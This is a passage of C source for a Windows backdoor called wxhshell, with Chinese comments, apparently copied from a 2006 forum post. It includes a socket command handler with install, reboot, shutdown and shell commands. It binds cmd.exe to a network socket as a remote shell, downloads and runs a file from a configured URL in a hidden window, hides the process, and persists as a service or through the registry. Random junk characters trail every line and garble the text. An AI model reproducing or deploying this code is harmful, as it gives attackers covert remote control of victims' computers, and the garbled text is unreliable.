  // 帮助 .q][? mW3  
  case '?': { ;#MB7A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U=8@@ yE  
    break; ""svDfy$  
  } s s 3t  
  // 安装 :SV>+EDY   
  case 'i': { IcIOC8WC  
    if(Install()) *1@:'rJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \(p{t  
    else gN {'UDg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pb0E@C/R  
    break; tvd0R$5}  
    } S-#q~X!yJ  
  // 卸载 vB! |\eJ  
  case 'r': { V\K<$?oUb  
    if(Uninstall()) k'_ P 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $mGvJ*9  
    else F\ctuaLC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2l5KJlfj>k  
    break; bAr` E  
    } ^Y{D^\} ,  
  // 显示 wxhshell 所在路径 wNE$6  
  case 'p': { 7~M<cD  
    char svExeFile[MAX_PATH]; !G_jGc=v  
    strcpy(svExeFile,"\n\r"); >"3>fche  
      strcat(svExeFile,ExeFile); /(t sb  
        send(wsh,svExeFile,strlen(svExeFile),0); `Pc3?~>0HH  
    break; 4e9q`~ sO  
    } 9N[EZhW  
  // 重启 %f8Qa"j  
  case 'b': { H(Ms^8Vs~:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @6o]chJo  
    if(Boot(REBOOT)) ~YCuO0t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ml>( tec  
    else { ^%y`u1ab  
    closesocket(wsh); dV8iwI  
    ExitThread(0); ^;F{)bmu+)  
    } }jF+`!*!  
    break; 8cHE[I  
    } 6g>)6ux>aV  
  // 关机 GbU@BN+_  
  case 'd': { 6gOe!m m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pJ, @Y>  
    if(Boot(SHUTDOWN)) L(&}Wv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L4f7s7rJ  
    else { UBO^EVJ  
    closesocket(wsh); |sgXh9%x<  
    ExitThread(0); -T/W:-M(  
    } A~lIa$U$b  
    break; 4}KU>9YRA  
    } ?)3jqQ.  
  // 获取shell +~2rW8  
  case 's': { Uz8hANN0_  
    CmdShell(wsh); 6&2LWaWMo$  
    closesocket(wsh); 8 |h9sn;P  
    ExitThread(0); 9 -jO,l  
    break; +lO'wa7|3  
  } kRIB<@{  
  // 退出 L*]E`Xxd9  
  case 'x': { :,*eX' fH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m$y]Lf  
    CloseIt(wsh); &:?e&  
    break; E1>/R  
    } rcbP$t vz  
  // 离开 6 o[/F3`  
  case 'q': { 9]_GNk-D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DOm-)zl{|x  
    closesocket(wsh); |9NIGg'n  
    WSACleanup(); P0\eB S  
    exit(1); H)JS0 G0  
    break; fB#XhO  
        } =v"xmx&4  
  } "zV']A>4H  
  } K%,$ V,#  
J^H =i)A  
  // 提示信息 9d[qh kPu)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QdDtvJLf  
} a20w,  
  } U|fTb0fB  
E5x]zXy4  
  return; - 0~IY  
} kP,7Li\  
0U&d q#  
// shell模块句柄 By)3*<5a_  
int CmdShell(SOCKET sock) kr_oUXiX  
{ ch,|1}bi  
STARTUPINFO si; ~'BUrX\  
ZeroMemory(&si,sizeof(si)); lIDl1Z@Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3&J&^O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +J40wFI:y  
PROCESS_INFORMATION ProcessInfo; /| GH0L  
char cmdline[]="cmd"; Yk>8g;<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lpm?# g uR  
  return 0; OJ[rj`wrW^  
} U1^l+G^,~  
<3#<I)#  
// 自身启动模式 eti9nPjG  
int StartFromService(void) +L6" vkz  
{ 91;HiILgT  
typedef struct +2O=s<fp  
{ 2}`R"MeS  
  DWORD ExitStatus; ;F,qS0lzE  
  DWORD PebBaseAddress; 8?Wgawx  
  DWORD AffinityMask; BHiOQ0Fs  
  DWORD BasePriority; 2 zl~>3S  
  ULONG UniqueProcessId; .v7`$(T  
  ULONG InheritedFromUniqueProcessId; :1BM=_WwI  
}   PROCESS_BASIC_INFORMATION; \L#QR  
Hd*Fc=>"Y  
PROCNTQSIP NtQueryInformationProcess; _sm;HH7'*  
foyB{6q8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o>K &D$J;O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; As}eUm)B5c  
"8_,tYAH  
  HANDLE             hProcess; 7%opzdS#  
  PROCESS_BASIC_INFORMATION pbi; E.#6;HHzN  
@$ftG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9i[4"&K  
  if(NULL == hInst ) return 0; 3*2I$e!Jt  
7AeP Gr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /b+;: z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q%M_   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eRVY.E<  
%6Rp,M9=  
  if (!NtQueryInformationProcess) return 0; 0k.v0a7%  
Xvq^1Y?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4n4j=x]@  
  if(!hProcess) return 0; 6ZTaQPtm  
q'2`0MRa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?to1rFrU  
edTMl;4  
  CloseHandle(hProcess); 9IOGc}  
c G*(C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .5^a;`-+  
if(hProcess==NULL) return 0; qdO[d|d  
1h{>[ 'L  
HMODULE hMod; fIH#  
char procName[255]; &h\CS8nT%  
unsigned long cbNeeded; $59nu7yr  
QjqBO+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,FY-d$3)  
"'~|}x1Uv  
  CloseHandle(hProcess); 8Kk3_ y  
]2LXUYB  
if(strstr(procName,"services")) return 1; // 以服务启动 FQ0KU b}0  
Nr%(2[$ =  
  return 0; // 注册表启动 /Ht/F)&P  
} PqVW'FYe  
u7n[f@Eg,%  
// 主模块 q[Vi[b^F  
int StartWxhshell(LPSTR lpCmdLine) TbMdQbj}  
{ wy YtpW  
  SOCKET wsl; T!1SMo^  
BOOL val=TRUE; { v,{x1  
  int port=0; !e&rVoA  
  struct sockaddr_in door; di--:h/  
Yg[ v/[]  
  if(wscfg.ws_autoins) Install(); LSSW.Oz2L  
xv^Sh}\}  
port=atoi(lpCmdLine);  gm(De9u  
#UBB lE#  
if(port<=0) port=wscfg.ws_port; {x7=;-  
8W;xi:CC  
  WSADATA data; tp%|AD"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AfUZO^<  
'/ihL ^^@L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Bt =bu>Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ';&0~[R[  
  door.sin_family = AF_INET; PEfE'lGj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L{Q4=p,A  
  door.sin_port = htons(port); 7AI3|Ts]p  
jYrym-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cy<T Vk8  
closesocket(wsl); {,i=>%X*  
return 1; x)j/  
} 2H[=l Y  
V_Xy2<V  
  if(listen(wsl,2) == INVALID_SOCKET) { $4DFgvy$  
closesocket(wsl); XpR.rq$]  
return 1; 4pLQ"&>}80  
} {cmo^~[L$  
  Wxhshell(wsl); jo<>Hc{g>  
  WSACleanup(); tB GkRd!  
ZEL/Ndk  
return 0; TP~( r  
m~##q}LZ  
} -Uzc"Lx B  
Ok*VQKyDLH  
// 以NT服务方式启动 \P*PjG?R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hK:#+hg,  
{ '&N: S-  
DWORD   status = 0; b;Hm\aK  
  DWORD   specificError = 0xfffffff; N =x]A C,  
3?.6K0L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W8Ke1( ws&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uG2Xkj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jA A'h A  
  serviceStatus.dwWin32ExitCode     = 0; sVE>=0TVP  
  serviceStatus.dwServiceSpecificExitCode = 0; L.SDMz  
  serviceStatus.dwCheckPoint       = 0; P=f<#l"v  
  serviceStatus.dwWaitHint       = 0; PZKbnu  
p^p'/$<6_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T^KCB\\<  
  if (hServiceStatusHandle==0) return; )W[KD,0+j  
uOyLC<I/  
status = GetLastError(); <FXQxM5"  
  if (status!=NO_ERROR) &W&7bZ$;  
{ U,oD44  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :jZ*,d%1={  
    serviceStatus.dwCheckPoint       = 0; F(T=WR].o  
    serviceStatus.dwWaitHint       = 0; (jp1; #P!  
    serviceStatus.dwWin32ExitCode     = status; z zulVj*  
    serviceStatus.dwServiceSpecificExitCode = specificError; j09mI$2y67  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B(S5+Y  
    return; j)6@q@P/  
  } RA*_&Ll&!C  
[37f#p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ],BJ}~v,X  
  serviceStatus.dwCheckPoint       = 0; +}Qv6s#  
  serviceStatus.dwWaitHint       = 0; ,$hQ(yF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,2=UuW"K  
} OU0xZ=G  
&M!4]p ow  
// 处理NT服务事件,比如:启动、停止 y}(_SU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h1Ke$#$6  
{ v&t`5-e-A  
switch(fdwControl) !1ie:z>s  
{ jD&}}:Dj  
case SERVICE_CONTROL_STOP: ,U|u-.~ZU  
  serviceStatus.dwWin32ExitCode = 0; wZ (uq?3S`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kcg)_]~6  
  serviceStatus.dwCheckPoint   = 0; r?Ev.m  
  serviceStatus.dwWaitHint     = 0; w3>Y7vxiz`  
  { b&hF')_UOz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [8V(N2  
  } >#${.+y  
  return; &5kjjQ*HB  
case SERVICE_CONTROL_PAUSE: ?X8K$g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^L*VW gi9  
  break; ,iA2s i  
case SERVICE_CONTROL_CONTINUE: Og&0Z)%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 44/ 0}v]  
  break; ql%]$`IV6  
case SERVICE_CONTROL_INTERROGATE: 9hz7drhR;\  
  break; BDB zc5Q(  
}; _umO)]Si  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,b2O^tJF#  
} p ] $  
IdQwLt  
// 标准应用程序主函数 #b]}cwd!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6`$,-(J=  
{ AW{/k'%xw  
[nhLhl4S  
// 获取操作系统版本 CwCo"%E8}  
OsIsNt=GetOsVer(); I?:+~q}lZr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nKZRq&~^E  
%r}KvJgd  
  // 从命令行安装 >.k@!*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1W6n[Xg  
R - ?0k:  
  // 下载执行文件 A)s"h=R  
if(wscfg.ws_downexe) { $[^ KCNB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Eb{4.17b  
  WinExec(wscfg.ws_filenam,SW_HIDE); K{[Fa,]'  
} Y GcY2p<  
,XF6Xsg2  
if(!OsIsNt) { EC\rh](d 1  
// 如果时win9x,隐藏进程并且设置为注册表启动 &caO*R<#J}  
HideProc(); \`<s@U  
StartWxhshell(lpCmdLine); K\%"RgF@&  
}  }@Ll!,  
else ]cO$E=W  
  if(StartFromService()) A~~| X  
  // 以服务方式启动 @v:ILby4-  
  StartServiceCtrlDispatcher(DispatchTable); 5kL#V  
else wxr}*Z:ZMa  
  // 普通方式启动 6I6ZVSxb  
  StartWxhshell(lpCmdLine); Y;F,GxR}  
B )3SiU  
return 0; fPuQ,J2=  
}
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只看该作者 1 发表于: 2006-10-10
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